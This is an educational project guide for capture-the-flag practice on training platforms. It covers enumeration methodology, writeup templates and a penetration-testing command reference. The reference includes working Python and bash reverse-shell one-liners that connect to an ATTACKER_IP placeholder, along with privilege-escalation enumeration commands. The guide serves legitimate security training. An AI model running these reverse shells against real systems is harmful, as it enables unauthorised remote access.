Project 3: Complete CTF Challenges on Multiple Platforms
Project 3: Complete CTF Challenges on Multiple Platforms
Project Overview
| Attribute | Value |
|---|---|
| Difficulty | Progressive (Beginner to Advanced) |
| Time Estimate | 1 month+ (ongoing practice) |
| Primary Languages | Python, Bash, C |
| Primary Tools | TryHackMe, Hack The Box, Kali Linux |
| Main Book | “Linux Basics for Hackers” by OccupyTheWeb |
| Knowledge Area | Security, Binary Exploitation, Forensics, Reverse Engineering |
Learning Objectives
By completing this project, you will:
- Develop the hacker mindset - Learn to think creatively and persistently when stuck
- Build a mental vulnerability library - Recognize patterns from exposure to 100+ challenges
- Master enumeration techniques - The skill that separates successful hackers from failed ones
- Practice privilege escalation - Linux and Windows, manual and automated
- Document solutions professionally - Write blog-quality writeups that demonstrate understanding
The Core Question
“How do I develop the pattern recognition and problem-solving skills that let experienced hackers ‘just know’ where to look?”
This project isn’t about building code—it’s about building expertise through deliberate practice. CTF challenges compress years of real-world vulnerability patterns into digestible puzzles. Each flag you capture represents a concept you’ve internalized.
Deep Theoretical Foundation
What CTF Teaches That Courses Don’t
THE CTF LEARNING CYCLE
══════════════════════
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ 1. ENCOUNTER CHALLENGE │
│ "I need to get root on this Linux box" │
│ │
│ │ │
│ ▼ │
│ │
│ 2. ENUMERATE EXTENSIVELY │
│ Spend 80% of time here │
│ - What services are running? │
│ - What version is that software? │
│ - Are there hidden directories? │
│ - What can this user do? │
│ │
│ │ │
│ ▼ │
│ │
│ 3. HIT A WALL │
│ "I've tried everything I know" │
│ This is where learning happens │
│ │
│ │ │
│ ┌────────────────┴────────────────┐ │
│ │ │ │
│ ▼ ▼ │
│ │
│ 4a. RESEARCH 4b. ASK FOR HINTS │
│ Google error messages Use forum hints sparingly │
│ Read documentation Watch walkthrough later │
│ Study similar vulnerabilities │
│ │
│ │ │ │
│ └────────────────┬────────────────┘ │
│ │ │
│ ▼ │
│ │
│ 5. BREAKTHROUGH │
│ "That's why it works!" │
│ The eureka moment that creates lasting knowledge │
│ │
│ │ │
│ ▼ │
│ │
│ 6. DOCUMENT │
│ Write up what you learned │
│ Future you will thank present you │
│ │
└─────────────────────────────────────────────────────────────────────┘
CTF Categories and What They Teach
CTF CHALLENGE CATEGORIES
════════════════════════
WEB EXPLOITATION
┌─────────────────────────────────────────────────────────────────────┐
│ What you'll encounter: │
│ - SQL injection (manual, not just SQLMap) │
│ - XSS challenges with creative filter bypasses │
│ - Authentication bypasses │
│ - Server-Side Request Forgery (SSRF) │
│ - File upload vulnerabilities │
│ - Template injection │
│ │
│ Skills developed: │
│ - HTTP protocol mastery │
│ - Understanding server-side processing │
│ - Creative payload crafting │
│ │
│ Platforms: PortSwigger Academy, OWASP WebGoat, Juice Shop │
└─────────────────────────────────────────────────────────────────────┘
BINARY EXPLOITATION (PWN)
┌─────────────────────────────────────────────────────────────────────┐
│ What you'll encounter: │
│ - Buffer overflows (stack and heap) │
│ - Format string vulnerabilities │
│ - Return-oriented programming (ROP) │
│ - Shellcode development │
│ │
│ Skills developed: │
│ - Assembly language reading │
│ - Memory layout understanding │
│ - GDB debugging │
│ - Exploit development │
│ │
│ Platforms: PicoCTF, pwnable.kr, ROP Emporium │
└─────────────────────────────────────────────────────────────────────┘
REVERSE ENGINEERING
┌─────────────────────────────────────────────────────────────────────┐
│ What you'll encounter: │
│ - Crackmes (find the password) │
│ - Malware analysis │
│ - Obfuscated code │
│ - Custom encryption │
│ │
│ Skills developed: │
│ - Reading disassembly (x86, x64, ARM) │
│ - Understanding program flow │
│ - Pattern recognition in binaries │
│ - Tool mastery (Ghidra, IDA, radare2) │
│ │
│ Platforms: crackmes.one, Reverse Engineering challenges │
└─────────────────────────────────────────────────────────────────────┘
CRYPTOGRAPHY
┌─────────────────────────────────────────────────────────────────────┐
│ What you'll encounter: │
│ - Classical ciphers (Caesar, Vigenère) │
│ - Modern crypto weaknesses (weak RSA, ECB mode) │
│ - Hash cracking │
│ - Padding oracle attacks │
│ │
│ Skills developed: │
│ - Mathematical foundations of cryptography │
│ - Identifying weak implementations │
│ - Using crypto tools (hashcat, John) │
│ │
│ Platforms: CryptoHack, PicoCTF crypto challenges │
└─────────────────────────────────────────────────────────────────────┘
FORENSICS
┌─────────────────────────────────────────────────────────────────────┐
│ What you'll encounter: │
│ - Memory dumps (Volatility) │
│ - Network packet captures (Wireshark) │
│ - File recovery and analysis │
│ - Steganography │
│ │
│ Skills developed: │
│ - Evidence analysis │
│ - Understanding file formats │
│ - Timeline reconstruction │
│ - Tool proficiency (Autopsy, FTK) │
│ │
│ Platforms: Digital Forensics challenges, CTFtime events │
└─────────────────────────────────────────────────────────────────────┘
BOOT2ROOT (Full Machine Compromise)
┌─────────────────────────────────────────────────────────────────────┐
│ What you'll encounter: │
│ - Full attack chain simulation │
│ - Enumeration → Exploitation → Privilege Escalation │
│ - Realistic machine configurations │
│ │
│ Skills developed: │
│ - Complete penetration testing methodology │
│ - Combining multiple vulnerabilities │
│ - Persistence and patience │
│ │
│ Platforms: Hack The Box, TryHackMe, VulnHub │
└─────────────────────────────────────────────────────────────────────┘
The Enumeration Mindset
Enumeration is where 80% of hacking happens. Most beginners rush to exploitation; experts enumerate exhaustively:
ENUMERATION HIERARCHY
═════════════════════
NETWORK LEVEL
│
├── What hosts are alive?
│ └── nmap -sn 192.168.1.0/24
│
├── What ports are open?
│ └── nmap -sV -sC -p- target
│
├── What services are running?
│ └── Detailed version info
│
└── What OS is it?
└── nmap -O target
SERVICE LEVEL (for each open port)
│
├── HTTP/HTTPS (80, 443, 8080)
│ ├── Technology stack?
│ │ └── Wappalyzer, whatweb
│ ├── Directories?
│ │ └── gobuster, feroxbuster
│ ├── Subdomains?
│ │ └── Virtual host enumeration
│ ├── Parameters?
│ │ └── Burp Suite spider
│ └── Known vulnerabilities?
│ └── searchsploit, CVE search
│
├── SMB (445)
│ ├── Shares accessible?
│ │ └── smbclient -L //target
│ ├── Anonymous access?
│ │ └── smbmap -H target
│ └── Version? (EternalBlue?)
│ └── nmap --script smb-vuln*
│
├── SSH (22)
│ ├── Version?
│ ├── Allowed authentication methods?
│ └── User enumeration possible?
│
├── FTP (21)
│ ├── Anonymous access?
│ ├── Version vulnerabilities?
│ └── Writable directories?
│
└── Custom/Unknown ports
└── Connect and observe banner/response
USER LEVEL (after initial access)
│
├── Who am I?
│ └── whoami, id
│
├── What can I do?
│ └── sudo -l
│
├── What's special about this system?
│ ├── SUID binaries: find / -perm -4000
│ ├── Capabilities: getcap -r /
│ ├── Cron jobs: cat /etc/crontab
│ └── Interesting files: find / -name "*.txt" -o -name "*.conf"
│
├── What's running?
│ └── ps aux, netstat -tulpn
│
└── What can I read?
└── Config files, logs, backups
Project Specification
What You’re Building
Unlike previous projects, this one produces documented solutions rather than code. Your deliverables:
ctf-writeups/
├── README.md # Index of all completed challenges
├── tryhackme/
│ ├── beginner-path/
│ │ ├── tutorial.md
│ │ └── basic-pentesting.md
│ └── offensive-security/
│ ├── vulnversity.md
│ └── kenobi.md
├── hackthebox/
│ ├── easy/
│ │ ├── lame.md
│ │ └── legacy.md
│ └── medium/
│ └── active.md
├── picoctf/
│ ├── web/
│ ├── forensics/
│ └── binary/
├── scripts/
│ ├── enumeration/
│ │ ├── linux-enum.sh
│ │ └── windows-enum.ps1
│ └── exploits/
│ └── custom-exploits.py
└── cheatsheets/
├── linux-privesc.md
├── windows-privesc.md
└── web-attacks.md
Challenge Completion Requirements
Phase 1: Foundation (Weeks 1-2)
TryHackMe - Complete Beginner Path
- Tutorial room
- Linux Fundamentals 1-3
- Network Fundamentals
- Web Fundamentals
- Basic Pentesting
OverTheWire - Bandit (All 34 levels)
- Levels 0-10 (Linux basics)
- Levels 11-20 (File manipulation)
- Levels 21-34 (Advanced concepts)
PicoCTF - Beginner challenges
- 10 Web challenges
- 10 Forensics challenges
- 5 Crypto challenges
Phase 2: Skill Building (Weeks 3-4)
TryHackMe - Offensive Security Path
- Vulnversity
- Kenobi
- Basic Pentesting
- Mr Robot
- Blue
Hack The Box - Easy Machines (5 total)
- First machine (any)
- Second machine (different OS)
- Third machine (web-focused)
- Fourth machine (AD related if available)
- Fifth machine (any)
Phase 3: Intermediate (Weeks 5-8)
Hack The Box - Medium Machines (5 total)
- At least 2 Windows machines
- At least 2 Linux machines
- 1 with Active Directory
PortSwigger Web Security Academy
- SQL Injection (all apprentice labs)
- XSS (all apprentice labs)
- Authentication (all apprentice labs)
Phase 4: Specialization (Ongoing)
Choose your focus:
- Web: More PortSwigger, bug bounty programs
- Binary: pwnable.kr, ROP Emporium
- Forensics: Digital forensics challenges
- AD: HackTheBox Pro Labs
Writeup Requirements
Each writeup must include:
# [Challenge Name] - [Platform]
## Challenge Info
- **Difficulty**: Easy/Medium/Hard
- **Category**: Web/PWN/Forensics/Crypto/Boot2Root
- **Points**: X (if applicable)
- **Date Completed**: YYYY-MM-DD
## Summary
One paragraph explaining what this challenge taught you.
## Enumeration
### Initial Recon
- What ports/services did you find?
- What technology stack?
- What caught your attention?
### Detailed Enumeration
- Directory brute-forcing results
- Service-specific enumeration
- Credentials/information discovered
## Exploitation
### Vulnerability Identification
- What vulnerability did you find?
- How did you confirm it?
### Exploit Development/Usage
- Step-by-step exploitation
- Commands used (with explanations)
- Screenshots where helpful
## Privilege Escalation (if applicable)
### User to Root
- Enumeration on the machine
- Privilege escalation vector found
- How you exploited it
## Flags
- User flag: [location]
- Root flag: [location]
## Lessons Learned
- What was new to you?
- What would you do differently?
- What tools/techniques to remember?
## Resources Used
- Links to helpful articles
- Tools used
- Related CVEs
Solution Architecture (Methodology)
The Penetration Testing Methodology
STANDARD PENTEST METHODOLOGY FOR CTF
════════════════════════════════════
┌────────────────────────────────────────────────────────────────────┐
│ PHASE 1: RECONNAISSANCE │
├────────────────────────────────────────────────────────────────────┤
│ │
│ Network Scanning: │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ # Fast initial scan │ │
│ │ nmap -sV -sC -oN initial.txt TARGET │ │
│ │ │ │
│ │ # Full port scan (background) │ │
│ │ nmap -p- -oN allports.txt TARGET │ │
│ │ │ │
│ │ # UDP scan for common ports │ │
│ │ nmap -sU --top-ports=20 TARGET │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
│ Service Enumeration (for each port): │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ HTTP: gobuster, nikto, whatweb │ │
│ │ SMB: smbclient, smbmap, enum4linux │ │
│ │ FTP: anonymous login test, version check │ │
│ │ SSH: version check, user enumeration │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────────┘
│
▼
┌────────────────────────────────────────────────────────────────────┐
│ PHASE 2: VULNERABILITY IDENTIFICATION │
├────────────────────────────────────────────────────────────────────┤
│ │
│ Search for known vulnerabilities: │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ searchsploit [service] [version] │ │
│ │ Google: "service version exploit" │ │
│ │ Check CVE databases │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
│ Test for common vulnerabilities: │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ Web: SQLi, XSS, LFI, RFI, command injection │ │
│ │ SMB: EternalBlue, anonymous access, weak creds │ │
│ │ SSH: Weak credentials, key reuse │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────────┘
│
▼
┌────────────────────────────────────────────────────────────────────┐
│ PHASE 3: INITIAL EXPLOITATION │
├────────────────────────────────────────────────────────────────────┤
│ │
│ Gain initial access: │
│ - Exploit identified vulnerability │
│ - Use Metasploit or manual exploit │
│ - Catch reverse shell │
│ │
│ Stabilize shell: │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ python3 -c 'import pty; pty.spawn("/bin/bash")' │ │
│ │ export TERM=xterm │ │
│ │ Ctrl+Z → stty raw -echo; fg │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────────┘
│
▼
┌────────────────────────────────────────────────────────────────────┐
│ PHASE 4: POST-EXPLOITATION / PRIVILEGE ESCALATION │
├────────────────────────────────────────────────────────────────────┤
│ │
│ Linux Enumeration: │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ sudo -l # What can I sudo? │ │
│ │ find / -perm -4000 2>/dev/null # SUID binaries │ │
│ │ cat /etc/crontab # Scheduled tasks │ │
│ │ ls -la /home # Other users │ │
│ │ cat /etc/passwd # User accounts │ │
│ │ linpeas.sh # Automated enumeration │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
│ Windows Enumeration: │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ whoami /priv # Current privileges │ │
│ │ net user # User accounts │ │
│ │ systeminfo # System information │ │
│ │ winpeas.exe # Automated enumeration │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
│ Common Privilege Escalation Vectors: │
│ ┌──────────────────────────────────────────────────────────────┐ │
│ │ Linux: │ │
│ │ - Sudo misconfiguration (GTFOBins) │ │
│ │ - SUID binary exploitation │ │
│ │ - Cron job with writable script │ │
│ │ - Kernel exploit │ │
│ │ - Password reuse │ │
│ │ │ │
│ │ Windows: │ │
│ │ - SeImpersonatePrivilege (Potato attacks) │ │
│ │ - Unquoted service paths │ │
│ │ - Weak service permissions │ │
│ │ - AlwaysInstallElevated │ │
│ │ - Stored credentials │ │
│ └──────────────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────────────────┘
│
▼
┌────────────────────────────────────────────────────────────────────┐
│ PHASE 5: CAPTURE FLAGS AND DOCUMENT │
├────────────────────────────────────────────────────────────────────┤
│ │
│ - Get user.txt and root.txt │
│ - Document every step taken │
│ - Write up lessons learned │
│ - Note tools and techniques for future reference │
│ │
└────────────────────────────────────────────────────────────────────┘
Essential Command Reference
# ═══════════════════════════════════════════════════════════════════
# RECONNAISSANCE COMMANDS
# ═══════════════════════════════════════════════════════════════════
# Initial fast scan
nmap -sV -sC -oN nmap_initial.txt $IP
# Full port scan
nmap -p- --min-rate=10000 -oN nmap_full.txt $IP
# Detailed scan on specific ports
nmap -sV -sC -p 80,443,22 -oN nmap_detail.txt $IP
# Web directory brute-force
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt
# Virtual host enumeration
gobuster vhost -u http://$DOMAIN -w /usr/share/wordlists/subdomains.txt
# SMB enumeration
smbclient -L //$IP -N
smbmap -H $IP
enum4linux -a $IP
# ═══════════════════════════════════════════════════════════════════
# EXPLOITATION COMMANDS
# ═══════════════════════════════════════════════════════════════════
# Reverse shell listener
nc -lvnp 4444
# Python reverse shell (on target)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Bash reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fg
# Press Enter twice
# ═══════════════════════════════════════════════════════════════════
# PRIVILEGE ESCALATION (Linux)
# ═══════════════════════════════════════════════════════════════════
# Current user context
id
whoami
groups
# Sudo permissions
sudo -l
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
# Running processes
ps aux
ps aux | grep root
# Network connections
netstat -tulpn
ss -tulpn
# Interesting files
find / -name "*.txt" -o -name "*.conf" -o -name "*.bak" 2>/dev/null
find / -writable -type f 2>/dev/null
# ═══════════════════════════════════════════════════════════════════
# PRIVILEGE ESCALATION (Windows)
# ═══════════════════════════════════════════════════════════════════
# Current user
whoami
whoami /priv
whoami /groups
# System info
systeminfo
hostname
# Users
net user
net user Administrator
# Network
netstat -ano
ipconfig /all
# Services
sc query
wmic service list brief
# Scheduled tasks
schtasks /query /fo LIST /v
Phased Implementation Guide
Phase 1: Environment Setup (Day 1)
Goal: Have all platforms and tools ready
- Create accounts:
- TryHackMe (free tier works)
- Hack The Box (free tier works)
- PicoCTF (free)
- OverTheWire (free, SSH-based)
- Set up Kali Linux:
- VirtualBox/VMware with Kali Linux VM
- Minimum 4GB RAM, 50GB disk
- NAT or bridged networking
- Connect to VPN (for HTB):
- Download .ovpn file from HTB
sudo openvpn your-file.ovpn- Verify with
ip addr(tun0 interface)
- Organize notes:
- Create git repository for writeups
- Set up note-taking system (Obsidian, Notion, or Markdown)
Phase 2: OverTheWire Bandit (Days 1-3)
Goal: Master Linux command line fundamentals
Approach:
- SSH to
bandit.labs.overthewire.orgport 2220 - User:
bandit0, Password:bandit0 - Each level’s password unlocks the next
Key skills by level range:
- 0-5: Basic file reading (
cat,ls,cd) - 6-10: File finding (
find,grep) - 11-15: Text processing (
sort,uniq,tr) - 16-20: Networking and SSH
- 21-25: Cron, processes, scripting
- 26-34: Advanced concepts
Example solution for Level 0:
# Bandit Level 0 → 1
## Objective
Find the password in the file 'readme' in the home directory.
## Solution
```bash
ssh bandit0@bandit.labs.overthewire.org -p 2220
# Password: bandit0
ls
cat readme
# Password for bandit1: [hidden]
Lessons Learned
- Basic SSH connection
- Reading files with cat
- Listing directory contents ```
Phase 3: TryHackMe Beginner Path (Week 1-2)
Goal: Complete structured learning path
Recommended order:
- Linux Fundamentals 1-3 (reinforce Bandit skills)
- Network Fundamentals
- How The Web Works
- Web Fundamentals
- Burp Suite Basics
- OWASP Top 10
- Basic Pentesting
For each room:
- Read all the material (don’t skip theory)
- Take notes on new concepts
- Complete all tasks
- Write brief summary of what you learned
Phase 4: Your First Hack The Box Machine (Week 2)
Goal: Complete an “Easy” machine end-to-end
Choose a retired machine (writeups available for when you’re stuck):
- “Lame” (very beginner friendly)
- “Legacy” (Windows, beginner)
- “Blue” (EternalBlue, famous exploit)
Approach:
- Spend at least 2 hours before looking at hints
- Enumerate EVERYTHING
- When stuck, check forum hints (not full writeups)
- After completion, read other writeups to learn different approaches
Example writeup structure:
# Hack The Box: Lame
## Machine Info
- IP: 10.10.10.3
- OS: Linux
- Difficulty: Easy
- Date: 2024-XX-XX
## Enumeration
### Nmap Scan
```bash
nmap -sV -sC -oN nmap.txt 10.10.10.3
Results:
- 21/tcp - vsftpd 2.3.4
- 22/tcp - OpenSSH 4.7p1
- 139/tcp - Samba smbd 3.X
- 445/tcp - Samba smbd 3.0.20
Research
Searched “samba 3.0.20 exploit” - found CVE-2007-2447 (username map script)
Exploitation
Used Metasploit module: exploit/multi/samba/usermap_script [details…]
Post-Exploitation
Landed as root, found flag in /root/root.txt
Lessons Learned
- Always check service versions against exploitdb
- Old services often have public exploits
- Samba is a common attack vector ```
Phase 5: Build Your Pattern Library (Weeks 3-8)
Goal: Complete 30+ challenges across categories
Track your progress:
# CTF Progress Tracker
## TryHackMe
- [x] Linux Fundamentals 1
- [x] Linux Fundamentals 2
- [x] Linux Fundamentals 3
- [x] Vulnversity
- [ ] Kenobi
...
## Hack The Box Easy (5/5)
- [x] Lame (Linux)
- [x] Legacy (Windows)
- [ ] Blue (Windows)
- [ ] Devel (Windows)
- [ ] Beep (Linux)
## Hack The Box Medium (0/5)
...
Common Pitfalls and Debugging
1. “I can’t find anything with enumeration”
Problem: Nmap shows open ports but you don’t know what to do
Solution: Enumerate harder
- Did you scan ALL ports? (
-p-) - Did you check for UDP? (
-sU) - Did you brute-force directories?
- Did you check for subdomains/vhosts?
- Did you search exploit-db for EVERY service version?
2. “My exploit doesn’t work”
Problem: Metasploit says success but no shell
Debug steps:
- Is your IP correct? (
ip addr) - Is the VPN connected? (
ping target) - Are you using the right payload?
- Is the target vulnerable? (check version exactly)
- Try a different exploit or manual exploitation
3. “I’m stuck on privilege escalation”
Problem: Have user shell, can’t get root
Escalation checklist:
# Run these EVERY time
sudo -l # What can I sudo?
cat /etc/crontab # Cron jobs?
find / -perm -4000 2>/dev/null # SUID binaries?
ls -la /home/*/ # Other user files?
cat /etc/passwd # Users?
ps aux | grep root # Root processes?
find / -writable -type f 2>/dev/null # Writable files?
If still stuck, run LinPEAS/WinPEAS for automated enumeration.
4. “I keep running out of time”
Problem: Spending hours with no progress
Solution: Time-box your approach
- 30 min: Initial enumeration
- 30 min: Service-specific enumeration
- 30 min: Research/exploit search
- 30 min: Exploitation attempts
- After 2 hours with no progress → look at hints
- After 3 hours → watch walkthrough and learn
Testing Your Skills
Self-Assessment Checkpoints
After Week 2 - You should be able to:
- Use basic Linux commands fluently
- Run Nmap scans and interpret results
- Find hidden web directories
- Identify service versions
- Search for known exploits
After Week 4 - You should be able to:
- Complete an Easy HTB machine unassisted
- Write a complete challenge writeup
- Stabilize a reverse shell
- Enumerate for privilege escalation
- Use GTFOBins/LOLBAS
After Week 8 - You should be able to:
- Complete Medium HTB machines
- Identify vulnerabilities without hints
- Chain multiple exploits
- Explain your methodology to others
- Recognize vulnerability patterns quickly
Extensions and Challenges
Beginner Extensions
- Participate in a live CTF: Check CTFtime for upcoming events
- Start a blog: Share your writeups publicly
- Help others: Answer questions in TryHackMe/HTB forums
Intermediate Extensions
- Binary exploitation: Complete pwnable.kr challenges
- Bug bounty: Apply skills to real programs (HackerOne, Bugcrowd)
- Certification prep: OSCP, PNPT, eJPT
Advanced Extensions
- Create your own CTF challenges: Teach by creating
- Red team operations: HTB Pro Labs
- Contribute to tools: Improve open-source security tools
Real-World Connections
From CTF to Career
CTF skills directly transfer to:
| CTF Category | Real-World Application |
|---|---|
| Boot2Root | Penetration testing |
| Web | Bug bounty, web app assessment |
| Binary | Vulnerability research |
| Forensics | Incident response, DFIR |
| Crypto | Cryptanalysis, secure development |
Building Your Portfolio
Your writeup repository becomes:
- Interview material: “Let me show you how I approached this…”
- Proof of skills: More valuable than certifications alone
- Teaching resource: Help others learn
- Personal reference: Remind yourself of techniques
Resources
Primary Platforms
- TryHackMe - Guided learning
- Hack The Box - Challenge-based
- PicoCTF - Beginner-friendly
- OverTheWire - Linux fundamentals
Reference Materials
- HackTricks - Privilege escalation bible
- GTFOBins - Linux binary exploitation
- PayloadsAllTheThings - Payload repository
- LOLBAS - Windows living off the land
Video Walkthroughs
- IppSec - HTB walkthroughs (essential!)
- John Hammond - CTF and security content
- LiveOverflow - Binary exploitation
Books
- “Linux Basics for Hackers” by OccupyTheWeb
- “Penetration Testing” by Georgia Weidman
- “The Hacker Playbook 3” by Peter Kim
Self-Assessment Checklist
Foundation Complete
- Completed OverTheWire Bandit (all 34 levels)
- Completed TryHackMe beginner path
- Have working Kali Linux environment
- Can stabilize shells reliably
Skill Building Complete
- Completed 5 Easy HTB machines
- Written 10+ detailed writeups
- Know basic privilege escalation vectors
- Can use Metasploit effectively
Intermediate Complete
- Completed 5 Medium HTB machines
- Can approach new machines systematically
- Participated in at least 1 live CTF
- Have a public writeup portfolio
Understanding
- Can explain your methodology to others
- Know when to use which tools
- Recognize common vulnerability patterns
- Understand the “why” behind exploits
This project is part of the Ethical Hacking & Penetration Testing learning path.